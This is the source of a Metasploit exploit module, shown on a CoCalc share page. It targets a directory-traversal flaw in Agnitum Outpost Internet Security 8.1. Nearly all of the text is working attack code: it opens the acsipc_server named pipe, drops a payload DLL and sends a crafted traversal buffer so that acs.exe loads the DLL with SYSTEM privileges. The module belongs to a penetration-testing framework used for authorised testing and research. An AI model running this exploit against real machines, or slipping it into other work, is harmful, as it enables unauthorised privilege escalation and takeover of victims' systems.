CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/agnitum_outpost_acs.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::EXE
10
include Msf::Post::File
11
include Msf::Post::Windows::Priv
12
include Msf::Post::Windows::Process
13
include Msf::Exploit::FileDropper
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
{
20
'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation',
21
'Description' => %q{
22
This module exploits a directory traversal vulnerability on Agnitum Outpost Internet
23
Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load
24
arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary
25
code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with
26
Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions).
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Ahmad Moghimi', # Vulnerability discovery
31
'juan vazquez' # MSF module
32
],
33
'Arch' => [ARCH_X86, ARCH_X64],
34
'Platform' => 'win',
35
'SessionTypes' => [ 'meterpreter' ],
36
'Privileged' => true,
37
'Targets' => [
38
[ 'Agnitum Outpost Internet Security 8.1', {} ],
39
],
40
'Payload' => {
41
'Space' => 2048,
42
'DisableNops' => true
43
},
44
'References' => [
45
[ 'OSVDB', '96208' ],
46
[ 'EDB', '27282' ]
47
],
48
'DisclosureDate' => '2013-08-02',
49
'DefaultTarget' => 0,
50
'Compat' => {
51
'Meterpreter' => {
52
'Commands' => %w[
53
stdapi_railgun_api
54
stdapi_sys_config_getenv
55
]
56
}
57
}
58
}
59
)
60
)
61
62
register_options([
63
# It is OptPath becuase it's a *remote* path
64
OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]),
65
# By default acs.exe lives on C:\Program Files\Agnitum\Outpost Security Suite Pro\
66
OptInt.new("DEPTH", [ true, "Traversal depth", 3 ])
67
])
68
end
69
70
def junk
71
return rand_text_alpha(4).unpack("V").first
72
end
73
74
def open_named_pipe(pipe)
75
invalid_handle_value = 0xFFFFFFFF
76
77
r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0)
78
79
handle = r['return']
80
81
if handle == invalid_handle_value
82
return nil
83
end
84
85
return handle
86
end
87
88
def write_named_pipe(handle, dll_path, dll_name)
89
traversal_path = "..\\" * datastore["DEPTH"]
90
traversal_path << dll_path.gsub(/^[a-zA-Z]+:\\/, "")
91
traversal_path << "\\#{dll_name}"
92
93
path = Rex::Text.to_unicode(traversal_path)
94
95
data = "\x00" * 0x11
96
data << path
97
data << "\x00\x00"
98
data << "\x00\x00\x00"
99
100
buf = [0xd48a445e, 0x466e1597, 0x327416ba, 0x68ccde15].pack("V*") # GUID common_handler
101
buf << [0x17].pack("V") # command
102
buf << [junk].pack("V")
103
buf << [data.length].pack("V")
104
buf << [0, 0, 0].pack("V*")
105
buf << data
106
107
w = client.railgun.kernel32.WriteFile(handle, buf, buf.length, 4, nil)
108
109
if w['return'] == false
110
print_error("The was an error writing to disk, check permissions")
111
return nil
112
end
113
114
return w['lpNumberOfBytesWritten']
115
end
116
117
def check
118
handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
119
if handle.nil?
120
return Exploit::CheckCode::Safe
121
end
122
123
session.railgun.kernel32.CloseHandle(handle)
124
return Exploit::CheckCode::Detected
125
end
126
127
def exploit
128
temp_dir = ""
129
130
print_status("Opening named pipe...")
131
handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
132
if handle.nil?
133
fail_with(Failure::NoTarget, "\\\\.\\pipe\\acsipc_server named pipe not found")
134
else
135
print_good("\\\\.\\pipe\\acsipc_server found! Proceeding...")
136
end
137
138
if datastore["WritableDir"] and not datastore["WritableDir"].empty?
139
temp_dir = datastore["WritableDir"]
140
else
141
temp_dir = client.sys.config.getenv('TEMP')
142
end
143
144
print_status("Using #{temp_dir} to drop malicious DLL...")
145
begin
146
cd(temp_dir)
147
rescue Rex::Post::Meterpreter::RequestError
148
session.railgun.kernel32.CloseHandle(handle)
149
fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
150
end
151
152
print_status("Writing malicious DLL to remote filesystem")
153
write_path = pwd
154
dll_name = "#{rand_text_alpha(10 + rand(10))}.dll"
155
begin
156
# Agnitum Outpost Internet Security doesn't complain when dropping the dll to filesystem
157
write_file(dll_name, generate_payload_dll)
158
register_file_for_cleanup("#{write_path}\\#{dll_name}")
159
rescue Rex::Post::Meterpreter::RequestError
160
session.railgun.kernel32.CloseHandle(handle)
161
fail_with(Failure::BadConfig, "Failed to drop payload into #{temp_dir}")
162
end
163
164
print_status("Exploiting through \\\\.\\pipe\\acsipc_server...")
165
bytes = write_named_pipe(handle, write_path, dll_name)
166
session.railgun.kernel32.CloseHandle(handle)
167
168
if bytes.nil?
169
fail_with(Failure::Unknown, "Failed while writing to \\\\.\\pipe\\acsipc_server")
170
end
171
end
172
end
173
174